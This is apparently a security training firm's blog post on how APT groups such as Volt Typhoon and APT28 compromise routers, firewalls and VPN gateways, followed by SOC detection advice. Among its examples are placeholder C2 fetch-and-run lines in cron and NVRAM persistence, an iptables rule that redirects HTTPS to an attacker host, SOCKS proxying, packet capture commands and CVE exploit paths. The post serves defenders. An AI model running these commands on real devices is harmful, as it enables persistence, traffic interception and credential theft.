Living on the Edge: How APT Groups Weaponize Network Appliances

Introduction

Network appliances such as routers, firewalls, VPN gateways, load balancers, and SOHO edge devices sit at the perimeter of every organization. They are high-value targets for advanced persistent threats (APTs) precisely because they are often under-monitored, inconsistently patched, and trusted for critical functions: traffic routing, access control, and remote access. Nation-state threat actors and other sophisticated adversaries have increasingly targeted these devices to establish persistent access, relay command-and-control (C2) communications, intercept network traffic, and gain access to internal environments. Because network appliances often operate outside traditional endpoint monitoring coverage, their compromise can create significant visibility and detection challenges for defenders.

This post covers why edge and network appliances are attractive to APTs, how groups such as Volt Typhoon (PRC) and APT28 (Russia) have used them in real operations, and concrete SOC-relevant detection opportunities so defenders can prioritize visibility and hunting.

Why APTs Target Network Appliances

• Persistence: Compromising a router or firewall gives a foothold that survives workstation reimages, EDR rollouts, and password resets. Many appliances are not covered by endpoint or identity monitoring.

• Trust and traffic: Appliances are trusted by the rest of the network. Traffic to and from them is often allowed by policy, making them ideal for C2, data staging, or redirecting flows for credential capture (e.g., man-in-the-middle).

• Weak hardening: Default credentials, delayed patching, and limited logging are common. SOHO and branch devices are especially exposed. CVE-rich firmware (e.g., small-office routers, VPN gateways) gives a large attack surface.

• Blending in: Admin and management traffic to appliances can look like normal ops. Attackers abuse legitimate protocols (SSH, SNMP, HTTP/HTTPS admin) and built-in scripting (e.g., cron, startup scripts) so activity blends with routine administration.

How APTs Weaponize Edge Devices

Typical abuse patterns include:

• Initial access: Default or stolen credentials (T1078), exploitation of known CVEs in appliance firmware (e.g., path traversal, RCE in web or CLI), or supply-chain compromise of firmware or updates.

• Persistence: Backdoor accounts, scheduled tasks or cron jobs, modification of startup/config scripts, or deployment of custom implants that survive reboot. On some platforms, attackers abuse legitimate features (e.g., custom scripts, VPN user accounts) instead of dropping a traditional binary.

• C2 and pivoting: Using the appliance as a relay or proxy for C2 traffic; redirecting internal traffic to attacker-controlled infrastructure; or using the device as a jump host to reach other segments (T1090 Proxy, T1599 Network Boundary Bridging, T1021 Remote Services).

• Credential and traffic interception: Changing routing, NAT, or DNS on the appliance to redirect flows through attacker infrastructure (e.g., for credential harvesting or session capture). Often combined with abuse of VPN or captive-portal features.

These techniques represent "network living-off-the-land" tradecraft: adversaries abuse legitimate routing, management, and monitoring capabilities of the device rather than deploying traditional endpoint malware, which makes them harder to spot without network and appliance-level visibility.

Protocol-Level Abuse

Beyond management interfaces, attackers abuse routing and management protocols to redirect traffic and exfiltrate or modify configuration.

MITRE ATT&CK mapping (quick reference)

Activity	MITRE ATT&CK
Default credential abuse	T1078 Valid Accounts
Route manipulation / MITM	T1557 Adversary-in-the-Middle
Packet capture	T1040 Network Sniffing
Use of router as proxy	T1090 Proxy
Firmware persistence	T1542 Pre-OS Boot
Boundary bridging / pivot via appliance	T1599 Network Boundary Bridging, T1090 Proxy, T1021 Remote Services

Routing Manipulation

Attackers with control of a router can modify routing to redirect traffic for interception or pivoting.

• BGP route hijacking: An adversary announces unauthorized routes or more-specific prefixes through BGP to attract traffic intended for another network. This generally involves control of an external routing announcement or a compromised routing peer.

• OSPF route manipulation: An adversary with access to the routing control plane may inject or alter OSPF Link-State Advertisements (LSAs), potentially influencing routing decisions within the affected routing domain.

• Static route manipulation: An attacker with sufficient administrative access modifies static routes or next-hop configurations to redirect traffic through an unauthorized network path.

A typical attack chain:

Compromised router
  → inject malicious static route
  → redirect internal traffic to attacker relay
  → capture authentication tokens or session data
  → forward traffic to original destination (optional, to avoid user-visible failure)

MITRE mapping: Adversary-in-the-Middle (T1557), Network Sniffing (T1040).

SNMP Abuse

Some network appliances expose SNMP services with weak or improperly configured community strings. Common examples include the traditional "public" read-only and "private" read-write community strings. When these remain unchanged or are exposed to untrusted networks, they can provide attackers with access to sensitive device information or, where writable objects are supported, configuration changes.

Read access allows enumeration of routing tables, ARP tables, interface stats, and often configuration:

snmpwalk -v2c -c public <router-ip>

Write access (RW community string or SNMPv3 write privileges) can allow modification of configuration through writable MIB objects, for example routing tables, interface configuration, or ACL parameters, depending on device MIB support. Not all routers expose full config via SNMP, but where they do, snmpset enables remote changes without interactive login. Operators may abuse SNMP when web or SSH management is locked down or more closely monitored.

Netfilter / iptables Manipulation (Linux-Based Appliances)

Many firewalls and SOHO routers run Linux under the hood. Attackers with shell access modify iptables/nftables to redirect or mirror traffic.

Example: redirect internal HTTPS to an attacker host (e.g., reverse proxy) for decryption or credential capture. Specify destination port so the attacker can forward to the real service; otherwise TLS would break for most sites because the attacker host would receive traffic meant for many domains:

iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination <attacker_ip>:8443

In practice, destination NAT can redirect traffic to an attacker-controlled host or reverse proxy. However, redirecting HTTPS traffic alone does not provide access to its encrypted contents. To inspect or modify the application-layer traffic, the interception point must also be able to establish a valid TLS session with the client, such as through a certificate trusted by the client or a compromised trusted certificate/key. Otherwise, certificate validation failures or TLS connection errors may occur. Certificate pinning can introduce additional restrictions.

Real Exploited Vulnerabilities

Technical defense and hunting benefit from concrete CVEs that have been exploited in the wild against network appliances.

Fortinet SSL VPN (CVE-2018-13379)

Path traversal in the FortiGate SSL VPN web portal (typically via the /remote/fgt_lang language parameter). Unauthenticated attackers could traverse to sensitive files such as:

/dev/cmdb/sslvpn_websession

That file exposed plaintext VPN usernames, session cookies, and credentials. Widely exploited for initial access and credential reuse.

Citrix ADC / NetScaler (CVE-2019-19781)

A directory traversal vulnerability in Citrix ADC and Citrix Gateway allowed unauthenticated remote attackers to achieve arbitrary code execution on affected systems through exploitation of the vulnerable components.

Example abused path:

/vpn/../vpns/portal/scripts/newbm.pl

Post-exploitation included persistence on the appliance and use of the ADC as a pivot into internal networks.

Cisco IOS XE Web UI (CVE-2023-20198)

Critical vulnerability in the IOS XE web UI allowed creation of privileged user accounts via crafted HTTP requests. No authentication required on exposed devices. Attackers often followed with the BadCandy Lua web shell (cisco_service.conf). Per Cisco Talos and ASD/ACSC reporting, BadCandy itself is not reboot-persistent: a reload clears the implant. Attacker-created privilege-15 local accounts (and any other config changes) do survive reboot and can be used to reinfect unpatched devices. Mass exploitation of internet-facing IOS XE devices was observed.

Edge Device Botnets: KV-Botnet and Cyclops Blink

KV-Botnet and Cyclops Blink demonstrate how compromised network infrastructure can be repurposed as operational infrastructure for threat actors.

KV-Botnet: Public reporting describes its use of compromised SOHO routers, including end-of-life Cisco and NETGEAR devices, as proxy infrastructure associated with Volt Typhoon operations.

Cyclops Blink: This botnet targeted network devices, including WatchGuard Firebox appliances, using malware designed to maintain access and support command-and-control operations.

These campaigns demonstrate the importance of firmware integrity, vendor security updates, and monitoring persistent configuration changes. Device-specific persistence mechanisms should be assessed separately rather than assuming all firmware implants survive resets or upgrades.

VPNFilter

VPNFilter is one of the most cited examples of SOHO routers as espionage infrastructure. It targeted a wide range of home and small-office routers (e.g., MikroTik, Netgear, TP-Link), deploying a multi-stage implant: stage 1 in persistent storage, stage 2 and 3 for packet sniffing, C2, and destructive capability. The malware included capabilities for traffic inspection, command-and-control communication, and destructive operations that could render infected devices unusable. VPNFilter demonstrated how compromised routers could serve multiple operational purposes, including espionage, traffic interception, and disruption. VPNFilter illustrates how routers become full-spectrum attack assets: persistence, sniffing, and C2 in a single campaign.

Firmware and Boot Persistence

Sophisticated actors persist inside the device so that reimaging endpoints or changing passwords does not evict them.

Boot Scripts and Cron

The following locations are examples commonly associated with Linux-based embedded systems and OpenWrt-style environments. Actual startup and scheduling mechanisms vary by vendor, firmware version, and device architecture. Enterprise network appliances may use entirely different configuration and persistence mechanisms.

On Linux-based routers and firewalls, attackers modify:

• /etc/init.d/ – startup scripts

• /etc/rc.local – run at boot

• Vendor-specific paths under /etc/config/

• /etc/crontabs/root (or equivalent) – scheduled tasks

Example cron persistence to pull a script from C2 every five minutes:

*/5 * * * * wget -q -O - http://<c2>/update.sh | sh

This keeps a callback or redirect rule active even after reboot.

Firmware Patching and Repackaging

Advanced actors patch firmware images (e.g., unpacking squashfs filesystems, modifying binaries or scripts, repackaging and reflashing). Malware or backdoors embedded this way can survive factory resets and official firmware upgrades. Detection requires integrity checking (e.g., hashes of firmware partitions) or behavioral monitoring of the device itself.

NVRAM Configuration Persistence

Some embedded router firmware exposes persistent configuration variables that can influence startup behaviour. On supported platforms, an attacker with sufficient administrative access may abuse these variables to execute unauthorized commands during boot. The exact variable names, storage behaviour, and execution mechanisms depend on the firmware implementation. 

nvram set rc_startup="wget http://<c2>/p.sh | sh"
nvram commit

On reboot, rc_startup (or equivalent) runs, re-establishing the callback or redirect. On many consumer and SOHO routers this survives power cycles without modifying the main firmware image.

C2 Through Network Appliances: Proxy Chains

APT groups often use compromised appliances as covert relays so that C2 traffic does not go directly from the victim to attacker infrastructure.

Instead of:

victim endpoint → attacker C2

Traffic is routed:

victim endpoint → compromised router/firewall → (optionally more relays) → attacker C2

This breaks attribution and blends C2 with normal management or consumer traffic. A common pattern: SOCKS proxy on the appliance. Attacker (or implant) runs:

ssh -D 1080 user@router_ip

The router becomes a SOCKS proxy; all C2 or exfil can be tunneled through it.

Volt Typhoon uses this model at scale: the group builds proxy chains of compromised SOHO routers in the same geographic region as targets. Traffic flows:

APT infrastructure → compromised SOHO router 1 → router 2 → … → victim infrastructure

Multiple hops hide origin and complicate attribution; traffic looks like normal consumer or small-business traffic to carriers and defenders.

Volt Typhoon: Critical Infrastructure and Edge Abuse

Volt Typhoon is a PRC state-sponsored threat actor that has been documented targeting U.S. critical infrastructure sectors, including communications, energy, transportation, and water and wastewater systems. Public reporting describes its use of legitimate administrative tools, compromised network infrastructure, and SOHO router proxy chains to maintain access and conceal operational origins. CISA, NSA, and partner advisories (e.g., AA24-038A) highlight the group’s use of living-off-the-land tactics and abuse of network edge devices.

• SOHO and proxy chains: Volt Typhoon compromises SOHO routers and other edge appliances to build proxy chains (see above): traffic is routed through multiple compromised routers in the same geographic region as targets, blending C2 with normal consumer or small-business traffic and complicating attribution.

• Legitimate tools and protocols: The group relies heavily on built-in OS and network features (e.g., PowerShell, WMI, RDP, and native appliance management) rather than custom malware. On network gear, this translates to abuse of SSH, web admin, or scripting capabilities already present on the device.

• Pre-positioning for disruption: Activity suggests objectives include maintaining long-term access for potential disruptive or destructive operations. Securing and monitoring edge devices in critical sectors is therefore both a detection and a resilience priority.

For SOCs, this underlines the need to inventory and monitor SOHO and branch routers, VPN gateways, and any appliance that can be used as a relay or pivot, especially in sectors named in CISA advisories.

APT28: Routers and Network Infrastructure

APT28 (Russian, also Fancy Bear, Sofacy, Forest Blizzard) has been linked in public reporting to abuse of SOHO and network gear as operational infrastructure. The best-documented example in open sources is VPNFilter, which U.S. government and industry reporting associated with Fancy Bear and which used compromised routers for sniffing, C2 relay, and destructive options (see VPNFilter section above). Treat other vendor-specific campaign claims as requiring a primary advisory or indictment before you attribute them in a SOC brief.

• Infrastructure role: Compromised routers can support broader campaigns (phishing staging, credential capture, or C2 relays) without malware on the endpoints defenders watch first.

• Management-plane abuse: SNMP, SSH, and vendor admin interfaces remain realistic levers for reconfiguration once credentials or firmware bugs are available. Changes to routing, DNS, or VPN settings can enable adversary-in-the-middle or persistent backdoor access.

• Detection takeaway: Anomalous config changes or management access on network appliances can surface early stages of a broader campaign even when endpoint telemetry stays quiet.

Prioritizing visibility into router and firewall config changes, admin logins, and unexpected outbound connections from these devices helps defenders catch this activity before it becomes a larger compromise.

Architecture view: edge compromise to C2

        Internet
           │
    ┌──────▼──────┐
    │ Edge Router │  ← compromised
    └──────┬──────┘
           │
   ┌───────▼────────┐
   │ Internal Network│
   └───────┬────────┘
           │
      Victim Host
           │
           ▼
   Attacker C2 via router proxy

A Technical Attack Chain

A typical end-to-end flow from internet exposure to credential harvesting and lateral movement:

Internet scan for vulnerable appliance (e.g., CVE in VPN/web UI)
    ↓
Exploit router/firewall CVE or default credentials
    ↓
Create privileged local account and optionally deploy BadCandy (implant clears on reboot; account often remains)
    ↓
Modify NAT, DNS, or routing (static/OSPF) to redirect traffic
    ↓
Use appliance as proxy for C2 or direct credential-harvesting
    ↓
Capture authentication tokens, VPN sessions, or API traffic
    ↓
Lateral movement into internal segments using stolen credentials

Mapping this chain to your environment (which appliances are internet-facing? where is netflow/syslog?) helps prioritize detection and hardening.

Packet Capture on Appliances

Some actors enable packet capture directly on the appliance to harvest credentials and API traffic without modifying routing. On Linux-based devices:

tcpdump -i eth0 -w /tmp/capture.pcap

Advanced operators use ring buffers to limit disk growth and reduce the chance of detection from large capture files:

tcpdump -i eth0 -C 5 -W 10 -w capture.pcap

(-C 5 rotates every 5 MB, -W 10 keeps 10 files.) Captured traffic may include credentials, API tokens, and internal service data that is then exfiltrated. To detect that behavior, look for execution of tcpdump or similar tools, or for large temporary files and outbound transfers from appliances that do not normally generate such traffic.

SOC Detection Opportunities

Defenders can focus on the following to improve detection of APT abuse of network appliances:

• Asset and network inventory: Maintain an authoritative list of all edge and network appliances (routers, firewalls, VPN gateways, load balancers, SOHO devices) with owners, expected roles, and network segments. Include branch and work-from-home gateways that can be used as relays.

• Authentication and access control: Enforce MFA and least-privilege for all appliance management. Monitor for logins from unexpected IPs, first-time or rarely seen users, and access outside business hours. Alert on default or shared credentials.

• Configuration and change management: Log and alert on configuration changes (ACLs, NAT, routing, DNS, VPN settings, startup scripts). Baseline “known good” configs and flag drift. Integrate appliance logs (syslog, vendor-specific audit logs) into the SIEM.

• Network behavior: Use netflow, firewall, or proxy logs to detect traffic from appliances to unexpected external IPs or to internal segments the device does not normally need to reach. Look for appliances acting as proxies (e.g., internal hosts connecting to the internet via a branch router that usually only serves that branch).

• Vulnerability and hardening: Regularly scan and patch appliance firmware; track CVEs for deployed models. Disable unused services and interfaces; restrict management to dedicated VLANs and jump hosts.

• Threat intelligence: Consume CISA/NSA/FBI advisories (e.g., Volt Typhoon, APT28) and vendor bulletins. Map TTPs and IOCs to your log sources and run targeted hunts (e.g., “admin logins to firewalls from non-management subnets,” “config change on routers in critical segments”).

Detection engineering examples

Router acting as proxy (netflow / flow data): Flag routers or firewalls with outbound connection counts or destination diversity above baseline, especially to countries or ASNs not expected for normal management:

where src_device_type = router
  and outbound_connections > baseline
  and destination_country not in expected_management_regions

Suspicious management access (Sigma-style concept): Alert when admin logins to firewalls or routers originate from non-management subnets:

title: Firewall/Router Admin Login From Non-Management Network
logsource:
  product: firewall | router
detection:
  selection:
    src_ip not in: management_subnets
    event_type: admin_login | authentication_success
  condition: selection

Unexpected DNS role on edge gear: Many branch routers forward DNS for LAN clients by design. Hunt for role drift, not "any DNS on a router." Flag appliances that are not the designated resolver answering queries (src_port = 53), sudden enablement of DNS proxy/forwarder features, or config changes that rewrite client DNS servers toward attacker infrastructure:

src_device = router | firewall
  and src_port = 53
  and device not in authorized_dns_resolvers

Pair with config-change alerts on DNS, DHCP, and captive-portal settings. Tune to your log schema and asset list; treat these as hunt hypotheses or durable detection rules.

Combining asset inventory, strong access control, configuration monitoring, and network-level visibility gives SOCs a realistic path to detecting and containing abuse of edge and network appliances before it is used for long-term persistence or destructive action.

Conclusion

APT groups have turned network appliances into strategic assets: they provide persistence, trusted positioning for C2 and pivoting, and opportunities for credential and traffic interception. CISA/NSA reporting on Volt Typhoon's edge and SOHO abuse, and public VPNFilter reporting tied to Fancy Bear/APT28, show the pattern is not theoretical. For SOCs, the priority is to extend visibility and control to the edge: inventory the appliances, harden and patch them, then log and monitor management access and config drift.

References

• https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-038a

• https://www.cisa.gov/resources-tools/resources/identifying-and-mitigating-living-land-techniques

• https://nvd.nist.gov/vuln/detail/CVE-2018-13379

• https://nvd.nist.gov/vuln/detail/CVE-2019-19781

• https://nvd.nist.gov/vuln/detail/CVE-2023-20198

• https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/

• https://www.cyber.gov.au/about-us/view-all-content/alerts-and-advisories/badcandy

• https://attack.mitre.org/techniques/T1599/

• https://attack.mitre.org/techniques/T1090/

---

Register for instructor-led online courses today! https://www.darkrelay.com/courses

Check out our self-paced learning paths! https://www.darkrelay.com/learning-paths

Explore our bundled Pricing & Plans for cost-effective options! Buy a course subscription to learn more—hands-on labs and expert-led training included. https://www.darkrelay.com/plans-pricing

Contact us for custom pentesting needs at: info@darkrelay.com or WhatsApp.

Follow us on: LinkedIn Twitter Facebook Instagram YouTube